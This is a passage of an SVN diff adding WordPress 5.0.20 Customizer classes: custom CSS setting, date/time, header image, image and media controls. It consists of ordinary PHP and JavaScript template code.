+		$this->stylesheet = $this->id_data['keys'][0];
+	}
+
+	/**
+	 * Add filter to preview post value.
+	 *
+	 * @since 4.7.9
+	 *
+	 * @return bool False when preview short-circuits due no change needing to be previewed.
+	 */
+	public function preview() {
+		if ( $this->is_previewed ) {
+			return false;
+		}
+		$this->is_previewed = true;
+		add_filter( 'wp_get_custom_css', array( $this, 'filter_previewed_wp_get_custom_css' ), 9, 2 );
+		return true;
+	}
+
+	/**
+	 * Filter `wp_get_custom_css` for applying the customized value.
+	 *
+	 * This is used in the preview when `wp_get_custom_css()` is called for rendering the styles.
+	 *
+	 * @since 4.7.0
+	 * @see wp_get_custom_css()
+	 *
+	 * @param string $css        Original CSS.
+	 * @param string $stylesheet Current stylesheet.
+	 * @return string CSS.
+	 */
+	public function filter_previewed_wp_get_custom_css( $css, $stylesheet ) {
+		if ( $stylesheet === $this->stylesheet ) {
+			$customized_value = $this->post_value( null );
+			if ( ! is_null( $customized_value ) ) {
+				$css = $customized_value;
+			}
+		}
+		return $css;
+	}
+
+	/**
+	 * Fetch the value of the setting. Will return the previewed value when `preview()` is called.
+	 *
+	 * @since 4.7.0
+	 * @see WP_Customize_Setting::value()
+	 *
+	 * @return string
+	 */
+	public function value() {
+		if ( $this->is_previewed ) {
+			$post_value = $this->post_value( null );
+			if ( null !== $post_value ) {
+				return $post_value;
+			}
+		}
+		$id_base = $this->id_data['base'];
+		$value = '';
+		$post = wp_get_custom_css_post( $this->stylesheet );
+		if ( $post ) {
+			$value = $post->post_content;
+		}
+		if ( empty( $value ) ) {
+			$value = $this->default;
+		}
+
+		/** This filter is documented in wp-includes/class-wp-customize-setting.php */
+		$value = apply_filters( "customize_value_{$id_base}", $value, $this );
+
+		return $value;
+	}
+
+	/**
+	 * Validate CSS.
+	 *
+	 * Checks for imbalanced braces, brackets, and comments.
+	 * Notifications are rendered when the customizer state is saved.
+	 *
+	 * @since 4.7.0
+	 * @since 4.9.0 Checking for balanced characters has been moved client-side via linting in code editor.
+	 *
+	 * @param string $css The input string.
+	 * @return true|WP_Error True if the input was validated, otherwise WP_Error.
+	 */
+	public function validate( $css ) {
+		$validity = new WP_Error();
+
+		if ( preg_match( '#</?\w+#', $css ) ) {
+			$validity->add( 'illegal_markup', __( 'Markup is not allowed in CSS.' ) );
+		}
+
+		if ( empty( $validity->errors ) ) {
+			$validity = parent::validate( $css );
+		}
+		return $validity;
+	}
+
+	/**
+	 * Store the CSS setting value in the custom_css custom post type for the stylesheet.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param string $css The input value.
+	 * @return int|false The post ID or false if the value could not be saved.
+	 */
+	public function update( $css ) {
+		if ( empty( $css ) ) {
+			$css = '';
+		}
+
+		$r = wp_update_custom_css_post( $css, array(
+			'stylesheet' => $this->stylesheet,
+		) );
+
+		if ( $r instanceof WP_Error ) {
+			return false;
+		}
+		$post_id = $r->ID;
+
+		// Cache post ID in theme mod for performance to avoid additional DB query.
+		if ( $this->manager->get_stylesheet() === $this->stylesheet ) {
+			set_theme_mod( 'custom_css_post_id', $post_id );
+		}
+
+		return $post_id;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-date-time-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-date-time-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-date-time-control.php	(revision 56912)
@@ -0,0 +1,271 @@
+<?php
+/**
+ * Customize API: WP_Customize_Date_Time_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.9.0
+ */
+
+/**
+ * Customize Date Time Control class.
+ *
+ * @since 4.9.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Date_Time_Control extends WP_Customize_Control {
+
+	/**
+	 * Customize control type.
+	 *
+	 * @since 4.9.0
+	 * @var string
+	 */
+	public $type = 'date_time';
+
+	/**
+	 * Minimum Year.
+	 *
+	 * @since 4.9.0
+	 * @var integer
+	 */
+	public $min_year = 1000;
+
+	/**
+	 * Maximum Year.
+	 *
+	 * @since 4.9.0
+	 * @var integer
+	 */
+	public $max_year = 9999;
+
+	/**
+	 * Allow past date, if set to false user can only select future date.
+	 *
+	 * @since 4.9.0
+	 * @var boolean
+	 */
+	public $allow_past_date = true;
+
+	/**
+	 * Whether hours, minutes, and meridian should be shown.
+	 *
+	 * @since 4.9.0
+	 * @var boolean
+	 */
+	public $include_time = true;
+
+	/**
+	 * If set to false the control will appear in 24 hour format,
+	 * the value will still be saved in Y-m-d H:i:s format.
+	 *
+	 * @since 4.9.0
+	 * @var boolean
+	 */
+	public $twelve_hour_format = true;
+
+	/**
+	 * Don't render the control's content - it's rendered with a JS template.
+	 *
+	 * @since 4.9.0
+	 */
+	public function render_content() {}
+
+	/**
+	 * Export data to JS.
+	 *
+	 * @since 4.9.0
+	 * @return array
+	 */
+	public function json() {
+		$data = parent::json();
+
+		$data['maxYear'] = intval( $this->max_year );
+		$data['minYear'] = intval( $this->min_year );
+		$data['allowPastDate'] = (bool) $this->allow_past_date;
+		$data['twelveHourFormat'] = (bool) $this->twelve_hour_format;
+		$data['includeTime'] = (bool) $this->include_time;
+
+		return $data;
+	}
+
+	/**
+	 * Renders a JS template for the content of date time control.
+	 *
+	 * @since 4.9.0
+	 */
+	public function content_template() {
+		$data = array_merge( $this->json(), $this->get_month_choices() );
+		$timezone_info = $this->get_timezone_info();
+
+		$date_format = get_option( 'date_format' );
+		$date_format = preg_replace( '/(?<!\\\\)[Yyo]/', '%1$s', $date_format );
+		$date_format = preg_replace( '/(?<!\\\\)[FmMn]/', '%2$s', $date_format );
+		$date_format = preg_replace( '/(?<!\\\\)[jd]/', '%3$s', $date_format );
+
+		// Fallback to ISO date format if year, month, or day are missing from the date format.
+		if ( 1 !== substr_count( $date_format, '%1$s' ) || 1 !== substr_count( $date_format, '%2$s' ) || 1 !== substr_count( $date_format, '%3$s' ) ) {
+			$date_format = '%1$s-%2$s-%3$s';
+		}
+		?>
+
+		<# _.defaults( data, <?php echo wp_json_encode( $data ); ?> ); #>
+		<# var idPrefix = _.uniqueId( 'el' ) + '-'; #>
+
+		<# if ( data.label ) { #>
+			<span class="customize-control-title">
+				{{ data.label }}
+			</span>
+		<# } #>
+		<div class="customize-control-notifications-container"></div>
+		<# if ( data.description ) { #>
+			<span class="description customize-control-description">{{ data.description }}</span>
+		<# } #>
+		<div class="date-time-fields {{ data.includeTime ? 'includes-time' : '' }}">
+			<fieldset class="day-row">
+				<legend class="title-day {{ ! data.includeTime ? 'screen-reader-text' : '' }}"><?php esc_html_e( 'Date' ); ?></legend>
+				<div class="day-fields clear">
+					<?php ob_start(); ?>
+					<label for="{{ idPrefix }}date-time-month" class="screen-reader-text"><?php esc_html_e( 'Month' ); ?></label>
+					<select id="{{ idPrefix }}date-time-month" class="date-input month" data-component="month">
+						<# _.each( data.month_choices, function( choice ) {
+							if ( _.isObject( choice ) && ! _.isUndefined( choice.text ) && ! _.isUndefined( choice.value ) ) {
+								text = choice.text;
+								value = choice.value;
+							}
+							#>
+							<option value="{{ value }}" >
+								{{ text }}
+							</option>
+						<# } ); #>
+					</select>
+					<?php $month_field = trim( ob_get_clean() ); ?>
+
+					<?php ob_start(); ?>
+					<label for="{{ idPrefix }}date-time-day" class="screen-reader-text"><?php esc_html_e( 'Day' ); ?></label>
+					<input id="{{ idPrefix }}date-time-day" type="number" size="2" autocomplete="off" class="date-input day" data-component="day" min="1" max="31" />
+					<?php $day_field = trim( ob_get_clean() ); ?>
+
+					<?php ob_start(); ?>
+					<label for="{{ idPrefix }}date-time-year" class="screen-reader-text"><?php esc_html_e( 'Year' ); ?></label>
+					<input id="{{ idPrefix }}date-time-year" type="number" size="4" autocomplete="off" class="date-input year" data-component="year" min="{{ data.minYear }}" max="{{ data.maxYear }}">
+					<?php $year_field = trim( ob_get_clean() ); ?>
+
+					<?php printf( $date_format, $year_field, $month_field, $day_field ); ?>
+				</div>
+			</fieldset>
+			<# if ( data.includeTime ) { #>
+				<fieldset class="time-row clear">
+					<legend class="title-time"><?php esc_html_e( 'Time' ); ?></legend>
+					<div class="time-fields clear">
+						<label for="{{ idPrefix }}date-time-hour" class="screen-reader-text"><?php esc_html_e( 'Hour' ); ?></label>
+						<# var maxHour = data.twelveHourFormat ? 12 : 23; #>
+						<# var minHour = data.twelveHourFormat ? 1 : 0; #>
+						<input id="{{ idPrefix }}date-time-hour" type="number" size="2" autocomplete="off" class="date-input hour" data-component="hour" min="{{ minHour }}" max="{{ maxHour }}">
+						:
+						<label for="{{ idPrefix }}date-time-minute" class="screen-reader-text"><?php esc_html_e( 'Minute' ); ?></label>
+						<input id="{{ idPrefix }}date-time-minute" type="number" size="2" autocomplete="off" class="date-input minute" data-component="minute" min="0" max="59">
+						<# if ( data.twelveHourFormat ) { #>
+							<label for="{{ idPrefix }}date-time-meridian" class="screen-reader-text"><?php esc_html_e( 'Meridian' ); ?></label>
+							<select id="{{ idPrefix }}date-time-meridian" class="date-input meridian" data-component="meridian">
+								<option value="am"><?php esc_html_e( 'AM' ); ?></option>
+								<option value="pm"><?php esc_html_e( 'PM' ); ?></option>
+							</select>
+						<# } #>
+						<abbr class="date-timezone" aria-label="<?php esc_attr_e( 'Timezone' ); ?>" title="<?php echo esc_attr( $timezone_info['description'] ); ?>"><?php echo esc_html( $timezone_info['abbr'] ); ?></abbr>
+					</div>
+				</fieldset>
+			<# } #>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Generate options for the month Select.
+	 *
+	 * Based on touch_time().
+	 *
+	 * @since 4.9.0
+	 * @see touch_time()
+	 *
+	 * @return array
+	 */
+	public function get_month_choices() {
+		global $wp_locale;
+		$months = array();
+		for ( $i = 1; $i < 13; $i++ ) {
+			$month_text = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );
+
+			/* translators: 1: month number (01, 02, etc.), 2: month abbreviation */
+			$months[ $i ]['text'] = sprintf( __( '%1$s-%2$s' ), $i, $month_text );
+			$months[ $i ]['value'] = $i;
+		}
+		return array(
+			'month_choices' => $months,
+		);
+	}
+
+	/**
+	 * Get timezone info.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @return array abbr and description.
+	 */
+	public function get_timezone_info() {
+		$tz_string = get_option( 'timezone_string' );
+		$timezone_info = array();
+
+		if ( $tz_string ) {
+			try {
+				$tz = new DateTimezone( $tz_string );
+			} catch ( Exception $e ) {
+				$tz = '';
+			}
+
+			if ( $tz ) {
+				$now = new DateTime( 'now', $tz );
+				$formatted_gmt_offset = sprintf( 'UTC%s', $this->format_gmt_offset( $tz->getOffset( $now ) / 3600 ) );
+				$tz_name = str_replace( '_', ' ', $tz->getName() );
+				$timezone_info['abbr'] = $now->format( 'T' );
+
+				/* translators: 1: timezone name, 2: timezone abbreviation, 3: gmt offset  */
+				$timezone_info['description'] = sprintf( __( 'Timezone is %1$s (%2$s), currently %3$s.' ), $tz_name, $timezone_info['abbr'], $formatted_gmt_offset );
+			} else {
+				$timezone_info['description'] = '';
+			}
+		} else {
+			$formatted_gmt_offset = $this->format_gmt_offset( intval( get_option( 'gmt_offset', 0 ) ) );
+			$timezone_info['abbr'] = sprintf( 'UTC%s', $formatted_gmt_offset );
+
+			/* translators: %s: UTC offset  */
+			$timezone_info['description'] = sprintf( __( 'Timezone is %s.' ), $timezone_info['abbr'] );
+		}
+
+		return $timezone_info;
+	}
+
+	/**
+	 * Format GMT Offset.
+	 *
+	 * @since 4.9.0
+	 * @see wp_timezone_choice()
+	 *
+	 * @param float $offset Offset in hours.
+	 * @return string Formatted offset.
+	 */
+	public function format_gmt_offset( $offset ) {
+		if ( 0 <= $offset ) {
+			$formatted_offset = '+' . (string) $offset;
+		} else {
+			$formatted_offset = (string) $offset;
+		}
+		$formatted_offset = str_replace(
+			array( '.25', '.5', '.75' ),
+			array( ':15', ':30', ':45' ),
+			$formatted_offset
+		);
+		return $formatted_offset;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-filter-setting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-filter-setting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-filter-setting.php	(revision 56912)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * Customize API: WP_Customize_Filter_Setting class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * A setting that is used to filter a value, but will not save the results.
+ *
+ * Results should be properly handled using another setting or callback.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Setting
+ */
+class WP_Customize_Filter_Setting extends WP_Customize_Setting {
+
+	/**
+	 * Saves the value of the setting, using the related API.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param mixed $value The value to update.
+	 */
+	public function update( $value ) {}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-header-image-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-header-image-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-header-image-control.php	(revision 56912)
@@ -0,0 +1,227 @@
+<?php
+/**
+ * Customize API: WP_Customize_Header_Image_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Header Image Control class.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Image_Control
+ */
+class WP_Customize_Header_Image_Control extends WP_Customize_Image_Control {
+	public $type = 'header';
+	public $uploaded_headers;
+	public $default_headers;
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 */
+	public function __construct( $manager ) {
+		parent::__construct( $manager, 'header_image', array(
+			'label'    => __( 'Header Image' ),
+			'settings' => array(
+				'default' => 'header_image',
+				'data'    => 'header_image_data',
+			),
+			'section'  => 'header_image',
+			'removed'  => 'remove-header',
+			'get_url'  => 'get_header_image',
+		) );
+
+	}
+
+	/**
+	 */
+	public function enqueue() {
+		wp_enqueue_media();
+		wp_enqueue_script( 'customize-views' );
+
+		$this->prepare_control();
+
+		wp_localize_script( 'customize-views', '_wpCustomizeHeader', array(
+			'data' => array(
+				'width' => absint( get_theme_support( 'custom-header', 'width' ) ),
+				'height' => absint( get_theme_support( 'custom-header', 'height' ) ),
+				'flex-width' => absint( get_theme_support( 'custom-header', 'flex-width' ) ),
+				'flex-height' => absint( get_theme_support( 'custom-header', 'flex-height' ) ),
+				'currentImgSrc' => $this->get_current_image_src(),
+			),
+			'nonces' => array(
+				'add' => wp_create_nonce( 'header-add' ),
+				'remove' => wp_create_nonce( 'header-remove' ),
+			),
+			'uploads' => $this->uploaded_headers,
+			'defaults' => $this->default_headers
+		) );
+
+		parent::enqueue();
+	}
+
+	/**
+	 *
+	 * @global Custom_Image_Header $custom_image_header
+	 */
+	public function prepare_control() {
+		global $custom_image_header;
+		if ( empty( $custom_image_header ) ) {
+			return;
+		}
+
+		add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_header_image_template' ) );
+
+		// Process default headers and uploaded headers.
+		$custom_image_header->process_default_headers();
+		$this->default_headers = $custom_image_header->get_default_header_images();
+		$this->uploaded_headers = $custom_image_header->get_uploaded_header_images();
+	}
+
+	/**
+	 */
+	public function print_header_image_template() {
+		?>
+		<script type="text/template" id="tmpl-header-choice">
+			<# if (data.random) { #>
+			<button type="button" class="button display-options random">
+				<span class="dashicons dashicons-randomize dice"></span>
+				<# if ( data.type === 'uploaded' ) { #>
+					<?php _e( 'Randomize uploaded headers' ); ?>
+				<# } else if ( data.type === 'default' ) { #>
+					<?php _e( 'Randomize suggested headers' ); ?>
+				<# } #>
+			</button>
+
+			<# } else { #>
+
+			<button type="button" class="choice thumbnail"
+				data-customize-image-value="{{data.header.url}}"
+				data-customize-header-image-data="{{JSON.stringify(data.header)}}">
+				<span class="screen-reader-text"><?php _e( 'Set image' ); ?></span>
+				<img src="{{data.header.thumbnail_url}}" alt="{{data.header.alt_text || data.header.description}}" />
+			</button>
+
+			<# if ( data.type === 'uploaded' ) { #>
+				<button type="button" class="dashicons dashicons-no close"><span class="screen-reader-text"><?php _e( 'Remove image' ); ?></span></button>
+			<# } #>
+
+			<# } #>
+		</script>
+
+		<script type="text/template" id="tmpl-header-current">
+			<# if (data.choice) { #>
+				<# if (data.random) { #>
+
+			<div class="placeholder">
+				<span class="dashicons dashicons-randomize dice"></span>
+				<# if ( data.type === 'uploaded' ) { #>
+					<?php _e( 'Randomizing uploaded headers' ); ?>
+				<# } else if ( data.type === 'default' ) { #>
+					<?php _e( 'Randomizing suggested headers' ); ?>
+				<# } #>
+			</div>
+
+				<# } else { #>
+
+			<img src="{{{data.header.thumbnail_url}}}" alt="{{{data.header.alt_text || data.header.description}}}" />
+
+				<# } #>
+			<# } else { #>
+
+			<div class="placeholder">
+				<?php _e( 'No image set' ); ?>
+			</div>
+
+			<# } #>
+		</script>
+		<?php
+	}
+
+	/**
+	 * @return string|void
+	 */
+	public function get_current_image_src() {
+		$src = $this->value();
+		if ( isset( $this->get_url ) ) {
+			$src = call_user_func( $this->get_url, $src );
+			return $src;
+		}
+	}
+
+	/**
+	 */
+	public function render_content() {
+		$visibility = $this->get_current_image_src() ? '' : ' style="display:none" ';
+		$width = absint( get_theme_support( 'custom-header', 'width' ) );
+		$height = absint( get_theme_support( 'custom-header', 'height' ) );
+		?>
+		<div class="customize-control-content">
+			<?php if ( current_theme_supports( 'custom-header', 'video' ) ) {
+				echo '<span class="customize-control-title">' . $this->label . '</span>';
+			} ?>
+			<div class="customize-control-notifications-container"></div>
+			<p class="customizer-section-intro customize-control-description">
+				<?php
+				if ( current_theme_supports( 'custom-header', 'video' ) ) {
+					_e( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image that matches the size of your video &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' );
+				} elseif ( $width && $height ) {
+					/* translators: %s: header size in pixels */
+					printf( __( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header size of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
+						sprintf( '<strong>%s &times; %s</strong>', $width, $height )
+					);
+				} elseif ( $width ) {
+					/* translators: %s: header width in pixels */
+					printf( __( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header width of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
+						sprintf( '<strong>%s</strong>', $width )
+					);
+				} else {
+					/* translators: %s: header height in pixels */
+					printf( __( 'Click &#8220;Add new image&#8221; to upload an image file from your computer. Your theme works best with an image with a header height of %s pixels &#8212; you&#8217;ll be able to crop your image once you upload it for a perfect fit.' ),
+						sprintf( '<strong>%s</strong>', $height )
+					);
+				}
+				?>
+			</p>
+			<div class="current">
+				<label for="header_image-button">
+					<span class="customize-control-title">
+						<?php _e( 'Current header' ); ?>
+					</span>
+				</label>
+				<div class="container">
+				</div>
+			</div>
+			<div class="actions">
+				<?php if ( current_user_can( 'upload_files' ) ): ?>
+				<button type="button"<?php echo $visibility; ?> class="button remove" aria-label="<?php esc_attr_e( 'Hide header image' ); ?>"><?php _e( 'Hide image' ); ?></button>
+				<button type="button" class="button new" id="header_image-button" aria-label="<?php esc_attr_e( 'Add new header image' ); ?>"><?php _e( 'Add new image' ); ?></button>
+				<?php endif; ?>
+			</div>
+			<div class="choices">
+				<span class="customize-control-title header-previously-uploaded">
+					<?php _ex( 'Previously uploaded', 'custom headers' ); ?>
+				</span>
+				<div class="uploaded">
+					<div class="list">
+					</div>
+				</div>
+				<span class="customize-control-title header-default">
+					<?php _ex( 'Suggested', 'custom headers' ); ?>
+				</span>
+				<div class="default">
+					<div class="list">
+					</div>
+				</div>
+			</div>
+		</div>
+		<?php
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-header-image-setting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-header-image-setting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-header-image-setting.php	(revision 56912)
@@ -0,0 +1,51 @@
+<?php
+/**
+ * Customize API: WP_Customize_Header_Image_Setting class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * A setting that is used to filter a value, but will not save the results.
+ *
+ * Results should be properly handled using another setting or callback.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Setting
+ */
+final class WP_Customize_Header_Image_Setting extends WP_Customize_Setting {
+	public $id = 'header_image_data';
+
+	/**
+	 * @since 3.4.0
+	 *
+	 * @global Custom_Image_Header $custom_image_header
+	 *
+	 * @param $value
+	 */
+	public function update( $value ) {
+		global $custom_image_header;
+
+		// If _custom_header_background_just_in_time() fails to initialize $custom_image_header when not is_admin().
+		if ( empty( $custom_image_header ) ) {
+			require_once( ABSPATH . 'wp-admin/custom-header.php' );
+			$args = get_theme_support( 'custom-header' );
+			$admin_head_callback = isset( $args[0]['admin-head-callback'] ) ? $args[0]['admin-head-callback'] : null;
+			$admin_preview_callback = isset( $args[0]['admin-preview-callback'] ) ? $args[0]['admin-preview-callback'] : null;
+			$custom_image_header = new Custom_Image_Header( $admin_head_callback, $admin_preview_callback );
+		}
+
+		// If the value doesn't exist (removed or random),
+		// use the header_image value.
+		if ( ! $value )
+			$value = $this->manager->get_setting('header_image')->post_value();
+
+		if ( is_array( $value ) && isset( $value['choice'] ) )
+			$custom_image_header->set_header_image( $value['choice'] );
+		else
+			$custom_image_header->set_header_image( $value );
+	}
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-image-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-image-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-image-control.php	(revision 56912)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Customize API: WP_Customize_Image_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Image Control class.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Upload_Control
+ */
+class WP_Customize_Image_Control extends WP_Customize_Upload_Control {
+	public $type = 'image';
+	public $mime_type = 'image';
+
+	/**
+	 * @since 3.4.2
+	 * @deprecated 4.1.0
+	 */
+	public function prepare_control() {}
+
+	/**
+	 * @since 3.4.0
+	 * @deprecated 4.1.0
+	 *
+	 * @param string $id
+	 * @param string $label
+	 * @param mixed $callback
+	 */
+	public function add_tab( $id, $label, $callback ) {
+		_deprecated_function( __METHOD__, '4.1.0' );
+    }
+
+	/**
+	 * @since 3.4.0
+	 * @deprecated 4.1.0
+	 *
+	 * @param string $id
+	 */
+	public function remove_tab( $id ) {
+		_deprecated_function( __METHOD__, '4.1.0' );
+    }
+
+	/**
+	 * @since 3.4.0
+	 * @deprecated 4.1.0
+	 *
+	 * @param string $url
+	 * @param string $thumbnail_url
+	 */
+	public function print_tab_image( $url, $thumbnail_url = null ) {
+		_deprecated_function( __METHOD__, '4.1.0' );
+    }
+}
Index: /tags/5.0.20/src/wp-includes/customize/class-wp-customize-media-control.php
===================================================================
--- /tags/5.0.20/src/wp-includes/customize/class-wp-customize-media-control.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/customize/class-wp-customize-media-control.php	(revision 56912)
@@ -0,0 +1,263 @@
+<?php
+/**
+ * Customize API: WP_Customize_Media_Control class
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.4.0
+ */
+
+/**
+ * Customize Media Control class.
+ *
+ * @since 4.2.0
+ *
+ * @see WP_Customize_Control
+ */
+class WP_Customize_Media_Control extends WP_Customize_Control {
+	/**
+	 * Control type.
+	 *
+	 * @since 4.2.0
+	 * @var string
+	 */
+	public $type = 'media';
+
+	/**
+	 * Media control mime type.
+	 *
+	 * @since 4.2.0
+	 * @var string
+	 */
+	public $mime_type = '';
+
+	/**
+	 * Button labels.
+	 *
+	 * @since 4.2.0
+	 * @var array
+	 */
+	public $button_labels = array();
+
+	/**
+	 * Constructor.
+	 *
+	 * @since 4.1.0
+	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      Control ID.
+	 * @param array                $args    Optional. Arguments to override class property defaults.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		parent::__construct( $manager, $id, $args );
+
+		$this->button_labels = wp_parse_args( $this->button_labels, $this->get_default_button_labels() );
+	}
+
+	/**
+	 * Enqueue control related scripts/styles.
+	 *
+	 * @since 3.4.0
+	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
+	 */
+	public function enqueue() {
+		wp_enqueue_media();
+	}
+
+	/**
+	 * Refresh the parameters passed to the JavaScript via JSON.
+	 *
+	 * @since 3.4.0
+	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
+	 *
+	 * @see WP_Customize_Control::to_json()
+	 */
+	public function to_json() {
+		parent::to_json();
+		$this->json['label'] = html_entity_decode( $this->label, ENT_QUOTES, get_bloginfo( 'charset' ) );
+		$this->json['mime_type'] = $this->mime_type;
+		$this->json['button_labels'] = $this->button_labels;
+		$this->json['canUpload'] = current_user_can( 'upload_files' );
+
+		$value = $this->value();
+
+		if ( is_object( $this->setting ) ) {
+			if ( $this->setting->default ) {
+				// Fake an attachment model - needs all fields used by template.
+				// Note that the default value must be a URL, NOT an attachment ID.
+				$type = in_array( substr( $this->setting->default, -3 ), array( 'jpg', 'png', 'gif', 'bmp' ) ) ? 'image' : 'document';
+				$default_attachment = array(
+					'id' => 1,
+					'url' => $this->setting->default,
+					'type' => $type,
+					'icon' => wp_mime_type_icon( $type ),
+					'title' => basename( $this->setting->default ),
+				);
+
+				if ( 'image' === $type ) {
+					$default_attachment['sizes'] = array(
+						'full' => array( 'url' => $this->setting->default ),
+					);
+				}
+
+				$this->json['defaultAttachment'] = $default_attachment;
+			}
+
+			if ( $value && $this->setting->default && $value === $this->setting->default ) {
+				// Set the default as the attachment.
+				$this->json['attachment'] = $this->json['defaultAttachment'];
+			} elseif ( $value ) {
+				$this->json['attachment'] = wp_prepare_attachment_for_js( $value );
+			}
+		}
+	}
+
+	/**
+	 * Don't render any content for this control from PHP.
+	 *
+	 * @since 3.4.0
+	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
+	 *
+	 * @see WP_Customize_Media_Control::content_template()
+	 */
+	public function render_content() {}
+
+	/**
+	 * Render a JS template for the content of the media control.
+	 *
+	 * @since 4.1.0
+	 * @since 4.2.0 Moved from WP_Customize_Upload_Control.
+	 */
+	public function content_template() {
+		?>
+		<#
+		var selectButtonId = _.uniqueId( 'customize-media-control-button-' );
+		var descriptionId = _.uniqueId( 'customize-media-control-description-' );
+		var describedByAttr = data.description ? ' aria-describedby="' + descriptionId + '" ' : '';
+		#>
+		<# if ( data.label ) { #>
+			<label class="customize-control-title" for="{{ selectButtonId }}">{{ data.label }}</label>
+		<# } #>
+		<div class="customize-control-notifications-container"></div>
+		<# if ( data.description ) { #>
+			<span id="{{ descriptionId }}" class="description customize-control-description">{{{ data.description }}}</span>
+		<# } #>
+
+		<# if ( data.attachment && data.attachment.id ) { #>
+			<div class="attachment-media-view attachment-media-view-{{ data.attachment.type }} {{ data.attachment.orientation }}">
+				<div class="thumbnail thumbnail-{{ data.attachment.type }}">
+					<# if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.medium ) { #>
+						<img class="attachment-thumb" src="{{ data.attachment.sizes.medium.url }}" draggable="false" alt="" />
+					<# } else if ( 'image' === data.attachment.type && data.attachment.sizes && data.attachment.sizes.full ) { #>
+						<img class="attachment-thumb" src="{{ data.attachment.sizes.full.url }}" draggable="false" alt="" />
+					<# } else if ( 'audio' === data.attachment.type ) { #>
+						<# if ( data.attachment.image && data.attachment.image.src && data.attachment.image.src !== data.attachment.icon ) { #>
+							<img src="{{ data.attachment.image.src }}" class="thumbnail" draggable="false" alt="" />
+						<# } else { #>
+							<img src="{{ data.attachment.icon }}" class="attachment-thumb type-icon" draggable="false" alt="" />
+						<# } #>
+						<p class="attachment-meta attachment-meta-title">&#8220;{{ data.attachment.title }}&#8221;</p>
+						<# if ( data.attachment.album || data.attachment.meta.album ) { #>
+						<p class="attachment-meta"><em>{{ data.attachment.album || data.attachment.meta.album }}</em></p>
+						<# } #>
+						<# if ( data.attachment.artist || data.attachment.meta.artist ) { #>
+						<p class="attachment-meta">{{ data.attachment.artist || data.attachment.meta.artist }}</p>
+						<# } #>
+						<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
+							<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}"/>
+						</audio>
+					<# } else if ( 'video' === data.attachment.type ) { #>
+						<div class="wp-media-wrapper wp-video">
+							<video controls="controls" class="wp-video-shortcode" preload="metadata"
+								<# if ( data.attachment.image && data.attachment.image.src !== data.attachment.icon ) { #>poster="{{ data.attachment.image.src }}"<# } #>>
+								<source type="{{ data.attachment.mime }}" src="{{ data.attachment.url }}"/>
+							</video>
+						</div>
+					<# } else { #>
+						<img class="attachment-thumb type-icon icon" src="{{ data.attachment.icon }}" draggable="false" alt="" />
+						<p class="attachment-title">{{ data.attachment.title }}</p>
+					<# } #>
+				</div>
+				<div class="actions">
+					<# if ( data.canUpload ) { #>
+					<button type="button" class="button remove-button">{{ data.button_labels.remove }}</button>
+					<button type="button" class="button upload-button control-focus" id="{{ selectButtonId }}" {{{ describedByAttr }}}>{{ data.button_labels.change }}</button>
+					<# } #>
+				</div>
+			</div>
+		<# } else { #>
+			<div class="attachment-media-view">
+				<div class="placeholder">
